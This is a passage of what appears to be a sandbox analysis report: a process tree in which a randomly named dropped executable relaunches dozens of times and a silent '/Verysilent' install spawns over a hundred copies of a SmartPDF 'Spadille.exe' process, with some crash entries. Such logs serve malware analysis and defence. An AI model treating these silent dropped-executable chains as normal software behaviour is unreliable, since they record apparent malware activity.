- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:26332
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:26560
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:17276
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:26012
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:19980
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:25872
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:21996
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:26916
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:27192
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:27496
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:25628
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:26824
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:27220
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:26352
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:24656
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:23924
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:10136
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:27332
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:27452
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:22980
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:21548
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:28024
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:28368
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:24504
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:28132
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:19700
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:18000
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 18000 -s 24
      4⤵
      PID:4000
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:28132
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:28768
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:29084
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:29340
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:29648
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:28324
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:29376
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:28828
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:24784
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:5104
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:29052
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:29756
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:30008
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:30508
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:11068
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:27316
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:30780
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:31228
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:31512
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:31740
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:29548
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:31380
- - C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    C:\Users\Admin\Documents\9KW4xABUl4JejFfM6iZ5hrxy.exe
    3⤵
    PID:28992
- C:\Users\Admin\Documents\oVjPklbG_TS4G3kvneIiLnow.exe
  "C:\Users\Admin\Documents\oVjPklbG_TS4G3kvneIiLnow.exe"
  2⤵
  - Executes dropped EXE
  PID:4828
- - C:\Users\Admin\AppData\Local\Temp\is-DGFDM.tmp\oVjPklbG_TS4G3kvneIiLnow.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-DGFDM.tmp\oVjPklbG_TS4G3kvneIiLnow.tmp" /SL5="$2027A,138429,56832,C:\Users\Admin\Documents\oVjPklbG_TS4G3kvneIiLnow.exe"
    3⤵
    PID:4824
  - - C:\Users\Admin\AppData\Local\Temp\is-Q7KHO.tmp\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\is-Q7KHO.tmp\Setup.exe" /Verysilent
      4⤵
      PID:1616
    - - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        5⤵
        
        PID:12404
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:13612
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:14020
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:5620
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:14220
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:10144
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:13464
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:13184
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:13656
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:13372
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:9276
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:15248
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:13124
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 13124 -s 24
        7⤵
        Program crash
        
        PID:11780
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:8624
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16060
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:11588
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:12136
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:10704
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:12428
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16692
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:17156
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:12104
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16860
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:15776
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:15984
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:17332
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:9596
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:17592
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:18052
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 18052 -s 24
        7⤵
        Program crash
        
        PID:16056
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16556
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:17400
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:16500
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:19100
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:18856
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:8884
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:14168
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:18900
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:18512
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:18744
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:17072
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:14604
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:17560
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:4276
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:19668
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20396
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:19604
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20204
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:19760
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20640
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21016
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21316
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:6132
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20924
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:18608
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21032
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:14136
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21240
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:19932
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21640
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:22020
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20604
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21908
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20076
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:8216
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23320
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:22900
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:20944
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:22624
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23524
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23440
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23084
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23356
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23688
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23980
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:24460
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:22240
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:21084
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23200
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:24756
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:25104
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:24012
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:15768
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:25228
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:24252
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:15768
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:18468
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:25144
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:10296
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:24472
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:24084
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:25308
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:25860
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26100
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26436
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:25796
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26188
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26576
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:23304
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26092
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26884
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:27104
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:27412
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:19324
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:26092
      - C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe
        
        "C:\Program Files (x86)\SmartPDF\SmartPDF\Spadille.exe"
        6⤵
        
        PID:27064
